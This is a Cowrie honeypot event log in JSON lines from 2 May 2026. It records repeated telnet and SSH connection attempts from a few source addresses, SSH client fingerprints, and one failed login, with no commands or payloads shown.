{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54078,"dst_ip":"159.203.135.109","dst_port":23,"session":"06eae583af2a","protocol":"telnet","message":"New connection: 174.138.46.234:54078 (159.203.135.109:23) [session: 06eae583af2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:57:49.863268Z"}
{"eventid":"cowrie.session.closed","duration":5.845756530761719,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:57:55.708879Z","src_ip":"174.138.46.234","session":"06eae583af2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45340,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ae556fecb7","protocol":"telnet","message":"New connection: 174.138.46.234:45340 (159.203.135.109:23) [session: 53ae556fecb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:58:50.249916Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46770,"dst_ip":"159.203.135.109","dst_port":23,"session":"84e074beed75","protocol":"telnet","message":"New connection: 174.138.46.234:46770 (159.203.135.109:23) [session: 84e074beed75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:58:54.815850Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52844,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a85c7c7dacc","protocol":"telnet","message":"New connection: 174.138.46.234:52844 (159.203.135.109:23) [session: 5a85c7c7dacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:59:12.847737Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59690,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c263e7cca5b","protocol":"telnet","message":"New connection: 174.138.46.234:59690 (159.203.135.109:23) [session: 5c263e7cca5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:59:32.602713Z"}
{"eventid":"cowrie.session.closed","duration":46.8428635597229,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:59:37.092703Z","src_ip":"174.138.46.234","session":"53ae556fecb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.820854663848877,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:59:38.423448Z","src_ip":"174.138.46.234","session":"5c263e7cca5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33886,"dst_ip":"159.203.135.109","dst_port":23,"session":"314b0612ae98","protocol":"telnet","message":"New connection: 174.138.46.234:33886 (159.203.135.109:23) [session: 314b0612ae98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:59:40.203585Z"}
{"eventid":"cowrie.session.closed","duration":2.922135829925537,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:59:43.125623Z","src_ip":"174.138.46.234","session":"314b0612ae98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.25532793998718,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:59:47.071043Z","src_ip":"174.138.46.234","session":"84e074beed75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffd9c7ce9274","protocol":"telnet","message":"New connection: 174.138.46.234:40362 (159.203.135.109:23) [session: ffd9c7ce9274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:59:58.401369Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41186,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d64fc091fa8","protocol":"telnet","message":"New connection: 174.138.46.234:41186 (159.203.135.109:23) [session: 2d64fc091fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:02.067882Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41250,"dst_ip":"159.203.135.109","dst_port":23,"session":"243a7aabb12b","protocol":"telnet","message":"New connection: 174.138.46.234:41250 (159.203.135.109:23) [session: 243a7aabb12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:02.231458Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41600,"dst_ip":"159.203.135.109","dst_port":23,"session":"046f4e4501b2","protocol":"telnet","message":"New connection: 174.138.46.234:41600 (159.203.135.109:23) [session: 046f4e4501b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:02.279913Z"}
{"eventid":"cowrie.session.closed","duration":49.757293462753296,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:02.604918Z","src_ip":"174.138.46.234","session":"5a85c7c7dacc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.0537519454956055,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:07.333523Z","src_ip":"174.138.46.234","session":"046f4e4501b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.918936014175415,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:09.150264Z","src_ip":"174.138.46.234","session":"243a7aabb12b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":36670,"dst_ip":"10.17.0.5","dst_port":23,"session":"87762a8a0cfc","protocol":"telnet","message":"New connection: 217.182.190.44:36670 (10.17.0.5:23) [session: 87762a8a0cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:21.277284Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51298,"dst_ip":"159.203.135.109","dst_port":23,"session":"95aedc4772ce","protocol":"telnet","message":"New connection: 174.138.46.234:51298 (159.203.135.109:23) [session: 95aedc4772ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:31.262723Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51366,"dst_ip":"159.203.135.109","dst_port":23,"session":"394ecca06c17","protocol":"telnet","message":"New connection: 174.138.46.234:51366 (159.203.135.109:23) [session: 394ecca06c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:31.436500Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51844,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf98f3e44bae","protocol":"telnet","message":"New connection: 174.138.46.234:51844 (159.203.135.109:23) [session: bf98f3e44bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:33.881545Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53094,"dst_ip":"159.203.135.109","dst_port":23,"session":"84756d557dbf","protocol":"telnet","message":"New connection: 174.138.46.234:53094 (159.203.135.109:23) [session: 84756d557dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:36.516409Z"}
{"eventid":"cowrie.session.closed","duration":5.9526636600494385,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:37.215263Z","src_ip":"174.138.46.234","session":"95aedc4772ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.921759605407715,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:37.358113Z","src_ip":"174.138.46.234","session":"394ecca06c17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.358263969421387,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:38.239681Z","src_ip":"174.138.46.234","session":"bf98f3e44bae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.20958352088928,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:50.610827Z","src_ip":"174.138.46.234","session":"ffd9c7ce9274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.59444308280945,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:53.662193Z","src_ip":"174.138.46.234","session":"2d64fc091fa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87408924102783,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:00:55.151245Z","src_ip":"217.182.190.44","session":"87762a8a0cfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.940024852752686,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:01:28.456316Z","src_ip":"174.138.46.234","session":"84756d557dbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":50538,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba0dea725e7","protocol":"ssh","message":"New connection: 78.128.112.74:50538 (159.203.135.109:22) [session: 1ba0dea725e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:02:17.438297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:02:17.589942Z","src_ip":"78.128.112.74","session":"1ba0dea725e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:02:17.593533Z","src_ip":"78.128.112.74","session":"1ba0dea725e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password!","message":"login attempt [user/password!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:02:18.738983Z","src_ip":"78.128.112.74","session":"1ba0dea725e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:02:19.859586Z","src_ip":"78.128.112.74","session":"1ba0dea725e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52732,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d82ae46a062","protocol":"telnet","message":"New connection: 174.138.46.234:52732 (159.203.135.109:23) [session: 6d82ae46a062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:33.677750Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52840,"dst_ip":"159.203.135.109","dst_port":23,"session":"122c8b2d65c5","protocol":"telnet","message":"New connection: 174.138.46.234:52840 (159.203.135.109:23) [session: 122c8b2d65c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:34.038352Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52860,"dst_ip":"159.203.135.109","dst_port":23,"session":"873936645df9","protocol":"telnet","message":"New connection: 174.138.46.234:52860 (159.203.135.109:23) [session: 873936645df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:34.127285Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52710,"dst_ip":"159.203.135.109","dst_port":23,"session":"2da5aacc8c34","protocol":"telnet","message":"New connection: 174.138.46.234:52710 (159.203.135.109:23) [session: 2da5aacc8c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:36.611089Z"}
{"eventid":"cowrie.session.closed","duration":3.117706298828125,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:37.244725Z","src_ip":"174.138.46.234","session":"873936645df9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.014479160308838,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:39.625475Z","src_ip":"174.138.46.234","session":"2da5aacc8c34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.235","src_port":10472,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e15d9d2e000","protocol":"ssh","message":"New connection: 92.118.39.235:10472 (159.203.135.109:22) [session: 6e15d9d2e000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:56.746673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:56.751518Z","src_ip":"92.118.39.235","session":"6e15d9d2e000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:56.856818Z","src_ip":"92.118.39.235","session":"6e15d9d2e000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:03:57.311567Z","src_ip":"92.118.39.235","session":"6e15d9d2e000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37938,"dst_ip":"159.203.135.109","dst_port":23,"session":"af779f753c52","protocol":"telnet","message":"New connection: 174.138.46.234:37938 (159.203.135.109:23) [session: af779f753c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:16.021254Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38384,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5c58a0a42a","protocol":"telnet","message":"New connection: 174.138.46.234:38384 (159.203.135.109:23) [session: 8a5c58a0a42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:18.481724Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.22.221","src_port":60942,"dst_ip":"159.203.135.109","dst_port":23,"session":"134e4a8b16f5","protocol":"telnet","message":"New connection: 206.189.22.221:60942 (159.203.135.109:23) [session: 134e4a8b16f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:19.326690Z"}
{"eventid":"cowrie.session.closed","duration":5.906774044036865,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:21.927895Z","src_ip":"174.138.46.234","session":"af779f753c52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.66957449913025,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:22.347389Z","src_ip":"174.138.46.234","session":"6d82ae46a062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.657384634017944,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:22.695605Z","src_ip":"174.138.46.234","session":"122c8b2d65c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48364,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac8c2f6eec68","protocol":"telnet","message":"New connection: 174.138.46.234:48364 (159.203.135.109:23) [session: ac8c2f6eec68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:49.214393Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48366,"dst_ip":"159.203.135.109","dst_port":23,"session":"b147197db126","protocol":"telnet","message":"New connection: 174.138.46.234:48366 (159.203.135.109:23) [session: b147197db126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:49.219939Z"}
{"eventid":"cowrie.session.closed","duration":30.911061763763428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:50.237634Z","src_ip":"206.189.22.221","session":"134e4a8b16f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48748,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4f2a1cb322e","protocol":"telnet","message":"New connection: 174.138.46.234:48748 (159.203.135.109:23) [session: b4f2a1cb322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:50.520624Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48480,"dst_ip":"159.203.135.109","dst_port":23,"session":"dca0bdd0e150","protocol":"telnet","message":"New connection: 174.138.46.234:48480 (159.203.135.109:23) [session: dca0bdd0e150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:50.604481Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48808,"dst_ip":"159.203.135.109","dst_port":23,"session":"72f2c1675c43","protocol":"telnet","message":"New connection: 174.138.46.234:48808 (159.203.135.109:23) [session: 72f2c1675c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:50.700318Z"}
{"eventid":"cowrie.session.closed","duration":3.9856555461883545,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:54.506185Z","src_ip":"174.138.46.234","session":"b4f2a1cb322e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.979578018188477,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:55.583958Z","src_ip":"174.138.46.234","session":"dca0bdd0e150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.933669090270996,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:04:56.633869Z","src_ip":"174.138.46.234","session":"72f2c1675c43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.92079281806946,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:01.402417Z","src_ip":"174.138.46.234","session":"8a5c58a0a42a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58816,"dst_ip":"159.203.135.109","dst_port":23,"session":"d113f3e79298","protocol":"telnet","message":"New connection: 174.138.46.234:58816 (159.203.135.109:23) [session: d113f3e79298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:23.366955Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59286,"dst_ip":"159.203.135.109","dst_port":23,"session":"7105efcb999d","protocol":"telnet","message":"New connection: 174.138.46.234:59286 (159.203.135.109:23) [session: 7105efcb999d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:25.013689Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59378,"dst_ip":"159.203.135.109","dst_port":23,"session":"1830569970ea","protocol":"telnet","message":"New connection: 174.138.46.234:59378 (159.203.135.109:23) [session: 1830569970ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:25.322619Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59470,"dst_ip":"159.203.135.109","dst_port":23,"session":"5668a27d4d85","protocol":"telnet","message":"New connection: 174.138.46.234:59470 (159.203.135.109:23) [session: 5668a27d4d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:25.583010Z"}
{"eventid":"cowrie.session.closed","duration":5.981805086135864,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:29.348633Z","src_ip":"174.138.46.234","session":"d113f3e79298","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.865997314453125,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:30.879581Z","src_ip":"174.138.46.234","session":"7105efcb999d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.97502326965332,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:31.557896Z","src_ip":"174.138.46.234","session":"5668a27d4d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.411014556884766,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:38.630853Z","src_ip":"174.138.46.234","session":"b147197db126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.09241580963135,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:40.306705Z","src_ip":"174.138.46.234","session":"ac8c2f6eec68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":46218,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ef27205e06","protocol":"ssh","message":"New connection: 45.148.10.121:46218 (159.203.135.109:22) [session: d3ef27205e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:43.617102Z"}
